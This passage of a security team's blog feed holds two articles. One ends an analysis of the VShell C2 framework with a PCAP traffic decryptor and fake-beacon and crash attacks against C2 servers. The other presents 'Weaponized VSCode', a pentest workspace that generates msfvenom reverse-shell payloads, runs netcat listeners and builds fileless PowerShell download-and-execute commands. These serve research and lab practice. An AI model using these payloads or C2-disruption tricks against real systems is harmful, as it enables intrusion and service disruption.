ensure_ascii=False)}&quot;)<br>                else:<br>                    print(f&quot;  Content: {analysis[&#39;content&#39;]}&quot;)<br>                result[&#39;content&#39;] = analysis[&#39;content&#39;]<br>            <br>            elif analysis[&#39;type&#39;] == &#39;binary&#39;:<br>                print(f&quot;  Binary: {analysis[&#39;content&#39;]}&quot;)<br>                result[&#39;content&#39;] = analysis[&#39;content&#39;]<br>                result[&#39;parsed&#39;] = analysis.get(&#39;parsed&#39;, {})<br>                print(f&quot;  Parsed: {analysis.get(&#39;parsed&#39;, {})}&quot;)<br>            <br>            else:<br>                text = analysis.get(&#39;text&#39;, analysis.get(&#39;content&#39;, plaintext.hex()))<br>                print(f&quot;  Content: {repr(text)}&quot;)<br>                result[&#39;content&#39;] = text<br>        <br>        else:<br>            print(f&quot;  ❌ Decryption Failed: {error}&quot;)<br>            result[&#39;status&#39;] = &#39;failed&#39;<br>            result[&#39;error&#39;] = error<br>        <br>        results.append(result)<br>    <br>    # Output JSON<br>    if output_json:<br>        output_data = {<br>            &#39;config&#39;: {<br>                &#39;salt&#39;: config.salt,<br>                &#39;vkey&#39;: config.vkey,<br>                &#39;vkey_md5&#39;: config.get_vkey_hash(),<br>                &#39;server&#39;: config.server,<br>            },<br>            &#39;encryption&#39;: {<br>                &#39;algorithm&#39;: &#39;AES-256-GCM&#39;,<br>                &#39;key_hex&#39;: config.get_encryption_key().hex(),<br>                &#39;key_ascii&#39;: config.get_encryption_key().decode(),<br>            },<br>            &#39;messages&#39;: results<br>        }<br>        <br>        with open(output_json, &#39;w&#39;, encoding=&#39;utf-8&#39;) as f:<br>            json.dump(output_data, f, indent=2, ensure_ascii=False)<br>        print(f&quot;\n📁 Result saved to: {output_json}&quot;)<br>    <br>    # Print protocol summary<br>    print(&quot;\n&quot; + &quot;=&quot; * 70)<br>    print(&quot;Protocol Summary&quot;)<br>    print(&quot;=&quot; * 70)<br>    <br>    tunnel_types = {}<br>    versions = set()<br>    hashes = []<br>    host_info = None<br>    <br>    for r in results:<br>        if r.get(&#39;status&#39;) != &#39;success&#39;:<br>            continue<br>        <br>        msg_type = r.get(&#39;type&#39;)<br>        content = r.get(&#39;content&#39;)<br>        <br>        if msg_type == &#39;version&#39;:<br>            versions.add(content)<br>        elif msg_type == &#39;hash&#39;:<br>            hashes.append({<br>                &#39;hash&#39;: content,<br>                &#39;is_vkey&#39;: r.get(&#39;is_vkey_hash&#39;, False)<br>            })<br>        elif msg_type == &#39;tunnel_type&#39;:<br>            tunnel_types[content] = tunnel_types.get(content, 0) + 1<br>        elif msg_type == &#39;json_data&#39; and isinstance(content, dict):<br>            if &#39;LocalIP&#39; in content or &#39;HostName&#39; in content:<br>                host_info = content<br>    <br>    if versions:<br>        print(f&quot;\n📌 Client Version: {&#39;, &#39;.join(versions)}&quot;)<br>    <br>    if tunnel_types:<br>        print(f&quot;\n📡 Tunnel Type Stats:&quot;)<br>        for t, count in tunnel_types.items():<br>            print(f&quot;  - {t}: {count} times&quot;)<br>    <br>    if hashes:<br>        print(f&quot;\n🔑 Verification Tokens:&quot;)<br>        for h in hashes:<br>            mark = &quot; (vkey)&quot; if h[&#39;is_vkey&#39;] else &quot;&quot;<br>            print(f&quot;  - {h[&#39;hash&#39;]}{mark}&quot;)<br>    <br>    if host_info:<br>        print(f&quot;\n🖥️  Victim Host Info:&quot;)<br>        for key in [&#39;LocalIP&#39;, &#39;UserName&#39;, &#39;HostName&#39;, &#39;OsName&#39;, &#39;ProcessName&#39;]:<br>            if key in host_info:<br>                print(f&quot;  {key}: {host_info[key]}&quot;)<br></pre><pre>def main():<br>    parser = argparse.ArgumentParser(<br>        description=&#39;Decrypt C2 traffic from PCAP file&#39;,<br>        formatter_class=argparse.RawDescriptionHelpFormatter,<br>        epilog=&quot;&quot;&quot;<br>Example:<br>    %(prog)s cleaned.pcap -c decrypted_config.json<br>    %(prog)s cleaned.pcap -c decrypted_config.json -o decrypted.json<br>        &quot;&quot;&quot;<br>    )<br>    <br>    parser.add_argument(&#39;pcap&#39;, help=&#39;PCAP file path&#39;)<br>    parser.add_argument(&#39;-c&#39;, &#39;--config&#39;, required=True, help=&#39;Config file path (JSON)&#39;)<br>    parser.add_argument(&#39;-o&#39;, &#39;--output&#39;, help=&#39;Output JSON file path&#39;)<br>    <br>    args = parser.parse_args()<br>    <br>    # Check files<br>    if not Path(args.pcap).exists():<br>        print(f&quot;Error: PCAP file not found: {args.pcap}&quot;, file=sys.stderr)<br>        sys.exit(1)<br>    <br>    if not Path(args.config).exists():<br>        print(f&quot;Error: Config file not found: {args.config}&quot;, file=sys.stderr)<br>        sys.exit(1)<br>    <br>    # Load config<br>    print(f&quot;📖 Loading config: {args.config}&quot;)<br>    config = Config.from_json(args.config)<br>    <br>    # Create decryptor<br>    decryptor = PcapDecryptor(config)<br>    <br>    # Extract messages<br>    print(f&quot;📦 Parsing PCAP: {args.pcap}&quot;)<br>    messages = decryptor.extract_messages(args.pcap)<br>    <br>    if not messages:<br>        print(&quot;⚠️  No encrypted messages found&quot;)<br>        sys.exit(1)<br>    <br>    # Print report<br>    print_report(config, messages, decryptor, args.output)<br></pre><pre>if __name__ == &#39;__main__&#39;:<br>    main()</pre><h4>Fake Beacon</h4><p>After understanding the principle and its online process, we can also create a fake beacon to implement fake online and harassment against any vshell.</p><p>Here, two bugs in VShell server processing were also discovered.</p><p>VShell beacon config overwrite</p><p>Remember the conf json processed by vshell mentioned above?</p><p>By setting the ID in conf, we can overwrite the beacon data of the fixed id on the server side. This data will be stored in the server’s database and backend cache, so it can cause the backend and the real online beacon to be rejected by the server. Including we can overwrite the remark process name part to let the server display what we want to say. For example fuck u bitch.</p><p>For example:</p><p>Initially similar to:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uuxGbnvu1qbnNodK.png" /></figure><p>Fake online reporting fake information:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pDiAYl0AxbGVdcGu.png" /></figure><p>Online a client with id 1 and process name Fuck you bitch:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ptmCiQSPCyUgFCoc.png" /></figure><p>We can even overwrite and maliciously add a large number of fake clients, forcing the server to refuse and cut off all sessions and send warning texts in the server.</p><p>Shutdown the service</p><p>Finally, we have multiple ways to crash the server. For example, when we modify the length to the wrong length in the eighth step of verifying online above, it will cause the server to freeze, and finally when the TCP connection is killed, it will cause the service to crash completely.</p><p>Report conf + host information length (4 bytes little endian int) + host information json</p><p>In addition, we can also use file to send similar wrong json and length, which can also cause the server to self-crash when distributing new tasks.</p><h3>End Word</h3><p>As a concluding remark, the journey of VShell analysis started from trying to use AI to assist reverse engineering, and ended with the realization of full traffic decryption and server countermeasures.</p><p>Through this in-depth analysis, we uncovered the veil of VShell. We can not only write Python scripts to decrypt PCAP traffic in real time and restore victim information and command content, but also master the dominance of <strong>active counterattack</strong>. Utilizing vulnerabilities in server-side logic processing (such as ID overwriting and lack of length verification), defenders can completely construct <strong>Fake Beacons</strong> to “poison” the attacker’s console. Even use malformed data packets to trigger <strong>DoS</strong> causing the C2 server to crash.</p><p>Take care of your clients and be well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/249/0*O286Sj8GrhygYflP.png" /></figure><p>If you enjoyed this article, feel free to buy me a coffee!</p><p><a href="https://github.com/sponsors/Esonhugh">https://github.com/sponsors/Esonhugh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4f046eabc4ea" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Note Driven Hacking vscode project]]></title>
            <link>https://wgpsec.medium.com/note-driven-hacking-vscode-project-bf928269118e?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/bf928269118e</guid>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Mon, 28 Jul 2025 03:12:02 GMT</pubDate>
            <atom:updated>2025-07-28T03:12:02.006Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intro</h3><p>In this article, I’m trying to introduce and use the project <a href="https://github.com/Esonhugh/WeaponizedVSCode">Weaponized VSCode</a>. The project originated from the historical command completion and environment variable design in the exegol project, and gradually started to use environment variables as a basic process for penetration testing as the hackthebox player I knew around me. I think this trend will eventually spread, infecting more and more penetration testers, range enthusiasts, and so on.</p><p>Before this idea, my project notes went through a transition from cherry tree (yes, this was partly influenced by the earlier OSCP lessons) to markdown and obsidian. I gradually started using double-stranded notes and embraced this pattern.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*c1i9hooivWzJ7VQC.png" /></figure><p>This was a note from about three years ago.</p><p>I’ve been struggling with the following issues:</p><p>For example. Some of the commands recorded in the notes are time-sensitive, such as time parameters, the IP and port of the reconnected shell, which often affect the generation of Trojans and the retrieval of shells. For example, if Hackthebox VPN regenerates the VPN or switches Availability Zones, the IPs and ports we are reconnecting to will be affected.</p><p>Also, some long-term commands, such as listening on ports, scanning, and so on, are more mechanical, but they are more cumbersome to restore. For example, when a machine is reset in half, it becomes a challenge to quickly start and resume these tasks.</p><p>In addition, I also want to separate my projects from projects, such as the target machine doing the target machine, the work doing the work, and the learning doing the study. Separate what is needed in each environment, commands, dependencies, scripts, history, and so on. One shell terminal for three projects at the same time, which I guess is absolutely hellish level of mutual interference.</p><p>Okay, so after being inspired by the Exegol project, I started experimenting with all sorts of custom configurations and magic changes to the VSCode IDE. After going through and trying various versions, I released version 1.0 of Weaponized VSCode.</p><h3>Core design concept</h3><p>In my opinion, my project mainly has such a large core design concept, and it is also targeted to deal with the problems raised above.</p><ol><li>Environment variable design. Environment variables are designed to eliminate the need for repeated input of the same command each time. Better support for commands that pass types, but commands with different actual parameters</li><li>What you see is what you get. The commands, variables, and values in the notes can be easily retrieved in a variety of VSCode environments. When you’re done writing your notes, you’re also writing your environment. For example, the same password or hash only needs to be written once to the note, and it can be retrieved in various features of VSCode, such as tasks and terminals</li><li>Independence project. Minimize dependence on the environment, so that each project is independent of each other. FOR EXAMPLE, BOTH PROJECTS CAN HAVE AN ENVIRONMENT VARIABLE CALLED PASSWORD, BUT THEY CAN HAVE DIFFERENT VALUES AND DON’T CROSSTALK WITH EACH OTHER.</li><li>Rapid recovery. Opening the note is equivalent to opening the penetration test environment at that time, and you can restore the state of the penetration test at that time, for example, opening the note can restore the task list, environment variables, scripts, commands, and so on at that time. In the case of project switching, it is also possible to quickly enter the optimal state of penetration testing.</li></ol><h3>Installation and initialization</h3><p>After version 0.4.X, I updated the installer script and installation package. Once you’ve downloaded the zip package from the release, unzip it, and use installer.sh for one-click installation.</p><blockquote><em>If you need to install it manually, you can check the installer.sh directly. Copy the createhackenv and zsh_history files to your </em><em>~/.local/weapon directory and add </em><em>source ~/.local/weapon/createhackenv.sh the line to </em><em>~/zshrc.</em></blockquote><p>If you need to experience full functionality, you mainly need to install more.</p><ul><li>vim</li><li>vscode</li><li>zsh</li><li>metasploit</li><li>project-discovery simplehttpserver</li><li>yq for yaml parsing</li></ul><p>In addition, it is recommended to install the recommended plugin, which can be searched for @recommended in the VSCode plugin market. The most important thing is the foam plugin, which affects the generation of note templates using the double-chain note feature and the foam template.</p><blockquote><em>These software are all widely available in Kali Linux, such as MSF ZSH by default</em></blockquote><blockquote><em>Of course, if you’re a macOS user, like me, I’d recommend using </em><a href="https://orbstack.dev/"><em>OrbStack</em></a><em>, and I’ve written an additional initialization script for OrbStack</em></blockquote><h3>Usage</h3><p>The way to get started is very simple, just pick a directory you like, for example, mine is in the workspace/hackthebox directory, and execute the following command</p><pre>weapon_vscode ${project}</pre><p>Project can be swapped out with your preferred project name, e.g. xxx.htb, and so on. So I’ll help you initialize a project directory xxx.htb, and then automatically call the code command to open the project.</p><blockquote><em>Instead of the path to your actual project directory, which is the root directory of the project as a whole, $</em><em>{PROJECT_FOLDER} will be used below. This is also an environment variable that can be used in the VSCode terminal and is automatically assigned to $</em><em>{workspaceFolder} for vscode Some other environment variable names are also useful, which I&#39;ll focus on in the Environment Variables section below.</em></blockquote><p>So for hackthebox or any pentesting project, we start with an IP or domain name and some basic information about the target. The first step is usually to open the command palette using VSCode Command Palette. (Usually the shortcut Ctrl + Shift + P or Cmd + Shift + P) and search for Foam: Create New Note From Template .</p><h4>FOAM double link note and templates</h4><p>This is the first design of Weaponized VSCode, which creates a note from the FOAM template, and he will generate a new note based on the markdown template file ${PROJECT_FOLDER}/.foam/templates under . This template file can be any markdown file.</p><blockquote><em>Foam is a markdown-based, dual-chain note-taking system that supports the VSCode editor. It allows users to create and link notes, and new notes can be quickly generated through templates.</em></blockquote><blockquote><em>In addition, you can add more template files to the </em><em>${PROJECT_FOLDER}/.foam/templates directory to make it easier to create different types of notes. This includes, but is not limited to, templates such as Cluster.</em></blockquote><p>When you’re done writing your notes, you’re also done with the penetration testing process, and at the end you might want to see all your attack paths, just use VSCode Command Palette to open the command palette. (Usually Ctrl + Shift + P or Cmd + Shift + P) and search for Foam: Show graph.</p><p>Boom！ You’ll see a very nice double-stranded note graph that shows all your notes and the links between them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/611/0*4lcNgMOeTJJJindI.png" /></figure><p>Foam has some tricks of its own, such as using tags to link multiple notes by tag, note to link other notes, or even using type to indicate the type of note it has, e.g. if this is a user type note, this is a user. The type doesn’t show up in the graph, but tags will link each note as a link, and you can use tags to link to each note at all.</p><h4>Host Template and its environment variables</h4><p>In the beginning, we usually have an IP or domain name of the target host during the infiltration process, so we can create a note called hostname.md.</p><p>When you select Host, a ${PROJECT_FOLDER}/hosts/${HOST}/${HOST}.md file is automatically created using the Host template, with ${HOST} as your title.</p><p>You may soon notice a strange place,</p><pre>```yaml host<br>- hostname: hostname<br>  is_dc: false<br>  ip: 10.10.10.10<br>  alias: [&quot;hostname&quot;] # if is DC, please set the dc hostname as the first alias, such as [&quot;dc01.example.com&quot;]<br>```</pre><pre>```zsh env-invoked<br>set_current_host hostname<br>```</pre><blockquote><em>If you don’t need to set the current host automatically, you can annotate it with set_current_host</em></blockquote><p>Here the two parts will be automatically recognized by yq yaml and zsh code blocks, if you open the terminal at this time, you will find that</p><pre>Current Host: hostname =&gt; hostname (10.10.10.10)  <br>No current user set.</pre><p>Eh, isn’t that exactly the hostname and IP set in YAML?</p><p>The following commands can be executed in the following shell environment</p><pre># 1. switch host<br>$ set_current_host<br>current host is set to hostname<br>Usage: set_current_host &lt;hostname&gt;<br>Example: set_current_host dc01<br>supported hosts: </pre><pre>- hostname: hostname </pre><pre># 2. lookup current host and user<br>$ current_status <br>Current Host: hostname =&gt; hostname (10.10.10.10)  <br>No current user set.</pre><pre># 3. list all hosts and dump with /etc/hosts format<br>$ dump_hosts <br>10.10.10.10 hostname hostname </pre><pre># 4. resync all hosts notes and update ennvironment variables<br>$ update_host_to_env</pre><p>What you see is what you get, and now you are free to use this feature to automate registration, switch the current host, and the associated DC server.</p><p>And when this host happens to be a dc server, you can set is_dc: true in yaml, then when switching to this host, VSCode will automatically set the current host to DC_IP and DC_HOST, and of course, don&#39;t forget to set the alias of dc to the first parameter of alias, for example: alias: [&quot;dc.hostname&quot;]. This allows VSCode to properly handle DC-related environment variable data.</p><p>For example, he will become</p><pre># current_status<br>Current Host: hostname =&gt; hostname (10.10.10.10) dc.hostname 10.10.10.10</pre><h4>Zsh Env-Invoked markdown part</h4><p>Next, let’s talk about the zsh env-invoked part, which will be used as a zsh command block and will automatically source when the terminal is started. Therefore, you can write a command or export environment variables here, for example, in the AWS range, you need to automatically assume-role and get the corresponding environment variables</p><p>After writing the following part of the note, you will automatically get the generated environment variables, and then naturally call the AWS CLI command</p><pre>export AWS_DATA=$(aws sts assume-role --role-arn arn:aws:iam::123456789012:role/RoleName --role-session-name SessionName --profile XXXX)<br>export AWS_ACCESS_KEY_ID=$(echo $AWS_DATA | jq -r &#39;.Credentials.AccessKeyId&#39;)<br>export AWS_SECRET_ACCESS_KEY=$(echo $AWS_DATA | jq -r &#39;.Credentials.SecretAccessKey&#39;)<br>export AWS_SESSION_TOKEN=$(echo $AWS_DATA | jq -r &#39;.Credentials.SessionToken&#39;)<br>export AWS_DEFAULT_REGION=us-west-2</pre><p>Of course, these are automatic, and if I want to make it easier to execute, I have also written a task to execute the commands selected in the user’s edit area to reduce duplication of effort.</p><h4>User Template</h4><p>Of course, some ranges nowadays will offer an initial user, or if you take down a user’s account, then you can usually write a user-type note.</p><p>Using the above steps to create the host note, we will create a user note as well. However, when entering the name of the note, I especially support the user@domain format, so you can create a note with the user and the domain name it belongs to.</p><p>For example, <a href="/service/mailto:esonhugh@github.com">esonhugh@github.com</a> will create a note with the following text</p><pre>#### validated credentials</pre><pre>```yaml credentials<br>- login: github.com<br>  user: esonhugh<br>  password: pass<br>  nt_hash: fffffffffffffffffffffffffffffffffff<br>```</pre><pre>```zsh env-invoked<br>set_current_user esonhugh<br>```</pre><blockquote><em>If you don’t need to set the current user automatically, you can comment it with set_current_user</em></blockquote><p>Open a new terminal and you’ll see it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XMH9j_g60qScSQW9.png" /></figure><pre>Current User: esonhugh =&gt; esonhugh:pass (fffffffffffffffffffffffffffffffffff)</pre><p>Of course, I’ve also written a number of secondary commands to help you switch and list user credentials, similar to hosts.</p><pre># 1. switch user<br>$ set_current_user <br>current user is set to esonhugh<br>Usage: set_current_user &lt;A|B|username&gt;<br>Example: set_current_user A<br>supported users: </pre><pre>- esonhugh: esonhugh</pre><pre># 2. lookup current host and user<br>$ current_status <br>Current Host: hostname =&gt; hostname (10.10.10.10)  <br>Current User: esonhugh =&gt; esonhugh:pass (fffffffffffffffffffffffffffffffffff)</pre><pre># 3. list all users and dump with impacket format and environment variables export format<br>$ dump_users<br>dumping impacket format for users:<br>&quot;github.com&quot;/&quot;esonhugh&quot;:&#39;pass&#39; (No NT Hash)</pre><pre># dumping environment variables for users:<br># user: esonhugh<br>export USER_esonhugh=&quot;esonhugh&quot;<br>export PASS_esonhugh=&quot;pass&quot;<br>export NT_HASH_esonhugh=&quot;fffffffffffffffffffffffffffffffffff&quot;<br>export LOGIN_esonhugh=&quot;github.com&quot;</pre><pre># dumping current user environment variables:<br>export USER=esonhugh<br>export USERNAME=pass<br>export PASS=pass<br>export PASSWORD=pass<br>export NT_HASH=fffffffffffffffffffffffffffffffffff<br>export LOGIN=github.com</pre><pre>export CURRENT_USER=esonhugh<br>export CURRENT_PASS=pass<br>export CURRENT_NT_HASH=fffffffffffffffffffffffffffffffffff<br>export CURRENT_LOGIN=github.com<br>export CURRENT=esonhugh</pre><pre># 4. resync all users notes and update environment variables<br>$ update_user_cred_to_env</pre><h4>Core — Environment Variables</h4><p>Here, you’ll see how important the design of environment variables is in Weaponized VSCode as a whole. With the design of environment variables, you can easily use them anywhere in your VSCode infiltration task. By viewing ${PROJECT_FOLDER}/.vscode/env.zsh file, you&#39;ll notice that a lot of the environment variables are defined here.</p><p>The core environment variables are divided into the following categories:</p><p>Project file directory class</p><ul><li>PROJECT_FOLDER This is the directory that identifies the current project. It can help you quickly return to the current project directory in any other directory location. For example, if you have a habit of collecting tools, then you can also cp some landed tools to the current project directory file.</li><li>Related to this is the default directory ${PROJECT_FOLDER}/.web_delivery of PROJECT_WEB_DELIVERY, which is typically used for HTTP distribution, and is a design borrowed from the design of web delivery in CobaltStrike.</li></ul><p>Target mnemonics</p><ol><li>Host class targets: They are now defined and normalized primarily through yaml information in the host template<br>- The RHOST and IP are usually the current destination IPs<br>- DOMAIN is the current target domain name<br>- TARGET IS THE TARGET HOSTNAME, OR RHOST IF THE TARGET DOMAIN NAME IS EMPTY<br>- If the target is DC, the following two environment variables are configured<br>- DC<em>IP is the current DC server IP<br>- DC_HOST is the current DC server hostname<br>2. Multi-host targeting:<br>- HOST</em>{hostname} automatically references the corresponding host<br>- IP_{hostname} will automatically reference the IP of the corresponding host</li><li>User class targets: They are now defined and normalized primarily through YAML information in the user template</li></ol><ul><li>USER AND USERNAME ARE USUALLY THE CURRENT TARGET USERNAMES</li><li>PASS and PASSWORD are usually the current target user passwords</li><li>NT_HASH is the NTLM hash of the current target user</li><li>LOGIN IS THE LOGIN ADDRESS OF THE CURRENT TARGET USER, SUCH AS A DOMAIN NAME</li></ul><ol><li>Multi-user targeting: For example, when performing a delegation or privilege escalation operation, you may use multiple users at the same time in a command, such as force-resetpassword -u userA -p passA -target userB -target-pass passB</li></ol><ul><li>USER_{username} will automatically reference the corresponding user</li><li>PASS_{username} will automatically reference the user’s password</li><li>NT<em>HASH</em>{username} will automatically reference the corresponding user’s NTLM hash</li></ul><p>Reverse connection mnemonic</p><ul><li>LHOST or ATTACKER_IP are the current disconnect IPs, which are usually your local IP addresses. In Hackthebox, it&#39;s usually the VPN&#39;s IP address. The main reason why it is called LHOST is that metasploit often uses this name to generate payloads. You can also define it as the address of the VPS and initiate ssh remote port forwarding on the VPS, etc.</li><li>LPORT This is the current unconnection port, usually your local listening port, this variable affects the port that msf listens on and the port that netcat listens on.</li></ul><p>Hash cracking</p><ol><li>HASH Type class: I’ve cleaned up the common hash types in the Hashcat example_hash.html and written them as environment variables, for example</li></ol><ul><li>The type of MD5 is called $HASH_MD5 and has a value of 0.</li><li>The type of SHA1 is called $HASH_SHA1 and its value is 100</li><li>…</li></ul><ol><li>HASHCAT MODE class: This mode refers to the brute-force mode of the hashcat, for example</li></ol><ul><li>$HASHCAT_MODE_WORDLIST indicates the use of dictionary brute-force mode, which has a value of 0</li><li>$HASHCAT_MODE_COMBINATION indicates that a combined brute-force mode is used, and its value is 1</li><li>…</li></ul><ol><li>HASHCAT DEVICE class: This represents the type of device used for hashcat, for example</li></ol><ul><li>$HASHCAT_DEVICE_CPU indicates the use of a CPU device with a value of 1</li><li>$HASHCAT_DEVICE_GPU represents a device that uses GPU and has a value of 2<br>Combined with the following dictionary class variables, you can almost verbally express the hashcat command, for example</li><li>hashcat -m $HASH_MD5 -a $HASHCAT_MODE_WORDLIST -d $HASHCAT_DEVICE_GPU --restore ${ROCKYOU} hash.txt</li></ul><p>Dictionary file directory class</p><ul><li>WORDLIST is the default dictionary directory of the machine, usually /usr/share/wordlists</li><li>ROCKYOU is the dictionary path of rockyou, usually ${WORDLIST}/rockyou.txt</li><li>SECLIST is the dictionary path to seclist, usually ${WORDLIST}/seclists</li><li>TOP_DNS is a brute-force dictionary ${SECLIST}/Discovery/DNS/bitquark-subdomains-top100000.txt that points to as the default subdomain</li></ul><p>虚假时间类 False time class</p><p>FAKETIME CAN BE USED TO MODIFY THE DEFAULT TIME OF THE SYSTEM, ETC</p><ul><li>export LD_PRELOAD=/usr/local/lib/libfaketime.so.1 FOR EXAMPLE, INJECT VIA LD PRELOAD</li><li>export FAKETIME=&quot;+8h&quot; to adjust the FAKETIME time, e.g. this means that the time will be advanced by 8 hours</li></ul><h4>Auto tasks</h4><p>Once these settings are complete, the environment for basic notes can be easily accessed in the terminal. I have prepared a variety of tasks to help the penetration testing process continue.</p><p>it’s also very simple to use, evoking VSCode Command Palette and opening the command palette. (usually Ctrl + Shift + P or Cmd + Shift + P) and search for Tasks: Run Task, then select the task you want.</p><p>I’ve provided some of the most commonly used tasks to free your hands, such as:</p><p>Msfvenom payload creating</p><p>This is the msfvenom command generation tool used to automate the generation of msf payload. In this task, you can choose the type of payload to be generated, for example linux/x86/meterpreter/reverse_tcp , you can directly use LHOST to configure the current IP and LPORT to the corresponding reconnection port, and the command line will automatically configure the variables you need.</p><p>You can even customize some advanced command usage,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*SYwNyCKqz7xgxyTC.png" /></figure><p>The output file defaults to ${PROJECT_FOLDER}/trojan, and you can customize the output file name in the task. The format of the output is also customizable</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/0*k7doRgEjBWMgWS2b.png" /></figure><p>Edit /etc/hosts</p><p>This task is mainly to facilitate the editing of /etc/hosts, and before initiating vim editing of sudo, I will use the dump_hosts command to indicate which hosts need to be configured</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/0*b4EBI-2ynYC6H08r.png" /></figure><p>Service account token kubeconfig generation</p><p>The kubeconfig file used to create the Kubernetes Service Account Token prompts the user to enter the API endpoint of the corresponding k8s apiserver, as well as the service account token and output file location.</p><p>Hashcat Runner</p><p>This is a hashcat quick start task that brute forces HASH, which mainly includes the following steps:</p><ol><li>Select hashcat mode, which defaults to dictionary mode</li><li>hash type, default is md5</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/604/0*1I8_YjaFUEnqEGbt.png" /></figure><ol><li>Select the device type, which defaults to GPU</li><li>Enter the hash file name, default is ${file} This refers to the file opened by the current editor in vscode, if you have copied the hash into a new file and the current editor opens this file, then you can directly default to this</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/601/0*tMlnAfEhFrSUJmWL.png" /></figure><ol><li>Finally, you can enter the subsequent string, e.g. ${ROCKYOU} for the dictionary or you can enter your own mask to bruteforce<br>Once everything is typed, vscode will automatically pull up the hashcat to brute force, and the operation will be automatically guarded by vscode, so you can free your hands to do more important things.</li></ol><p>Auto rustscan</p><p>This task is mainly used to automate the running of rustscan commands, and mainly includes the following steps</p><ol><li>Select the target host, which is ${RHOST} or ${TARGET} by default</li><li>Enter the nmap parameter, e.g. -A — script=vuln</li></ol><p>The port range of nmap will be automatically scanned by rustscan, and then rewritten to the nmap command for fine scanning.</p><p>run command with selection</p><p>Manually select a command in a note to automatically execute it as a task type. It is a subordinate alternative to the markdown-execute plugin, which allows you to quickly and repeatedly execute commands in notes.</p><h4>Special terminals</h4><p>As you may have noticed when exploring terminal features, I have configured a terminal with many different functions, such as:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/227/0*1RfkbB_Aoru7MsSG.png" /></figure><p>ZSH-SHELL</p><p>zsh-shell 为默认的 zsh shell 终端，会自动导入笔记中的环境变量。是正常的 zsh 终端。<br>zsh-shell is the default zsh shell terminal, which automatically imports environment variables in notes. is a normal zsh terminal.</p><p>meterpreter-handler</p><p>The RC file is Metasploit’s Resource Script, which automatically sets the payload type and uses run -j to start a background task that starts a multi/handler listener for a meterpreter.</p><blockquote><em>Resource Script </em><a href="https://docs.rapid7.com/metasploit/resource-scripts/"><em>https://docs.rapid7.com/metasploit/resource-scripts/</em></a></blockquote><p>When you use vscode task, after creating a payload, you can edit the file, and then start this type of terminal, so that msfconsole can start one or more listening tasks at the same time.</p><p>msfconsole</p><p>This is a terminal for launching msfconsole. It automatically imports RHOST, LHOST, and LPORT environment variables, and automatically executes ${PROJECT_FOLDER}/.vscode/msfconsole.rc the RC file content in .</p><p>The purpose of this is to distinguish it from the meterpreter-handler and to reduce the startup time.</p><p>netcat-handler</p><p>This is a terminal used to receive the NetCAT anti-disconnect shell. It automatically imports the LHOST environment variable and listens on the port specified by the LPORT environment variable. I’ve configured rlwrap here to enhance the interactive experience of netcat, so that netcat also supports the ability to swipe up to get historical commands.</p><p>In addition, when you use netcat to listen, it will also help you write a basic bounce shell instruction, of course, you can also use the advanced rev.eson.ninja to automatically generate the corresponding command, in this website, I fixed the rev sh url parsing failure problem, therefore, the IP and port of the unconnection can be specified by the url parameter.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SfFjE9T90UIN855X.png" /></figure><p>web-delivery 模式</p><p>This has been a long time coming, and this is essentially a simple http server, but uploads files with the PUT method by default.</p><p>First, if the terminal starts up and finds that it doesn’t create a .web-delivery, it will automatically create it, and then host the directory as www root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0AuB-9s-Pe1nrNdH.png" /></figure><p>As you can see, when you use it to start an http terminal, it will take the initiative to tell you what is your IP and what is the port, and automatically generate corresponding commands to deal with various situations.</p><p>The first part is how to download Windows Linux, curl or wget under Linux, and certutil and PowerShell invoke-webrequest under Windows.</p><p>The second part is PowerShell in one command, performing a remote download of fileless memory execution.</p><p>Both of these two parts of Python HTTP Server can also be done.</p><p>The third part is how to upload files using the PUT method supported by simplehttpserver. You can use curl or wget to upload, and you can also use invoke-webrequest to upload.</p><p>If you are careful, you will find that I have left all the file name parameters that need to be filled in at the end of the command as much as possible, so that you can quickly modify and replace the file name in the command line terminal.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bf928269118e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[云访问凭证蜜标：诱捕网络威胁的智能陷阱]]></title>
            <link>https://wgpsec.medium.com/%E4%BA%91%E8%AE%BF%E9%97%AE%E5%87%AD%E8%AF%81%E8%9C%9C%E6%A0%87-%E8%AF%B1%E6%8D%95%E7%BD%91%E7%BB%9C%E5%A8%81%E8%83%81%E7%9A%84%E6%99%BA%E8%83%BD%E9%99%B7%E9%98%B1-17cc02b0c636?source=rss-8f7cabea8024------2</link>
            <guid isPermaLink="false">https://medium.com/p/17cc02b0c636</guid>
            <dc:creator><![CDATA[WgpSec]]></dc:creator>
            <pubDate>Thu, 20 Feb 2025 07:37:40 GMT</pubDate>
            <atom:updated>2025-02-20T07:37:40.648Z</atom:updated>
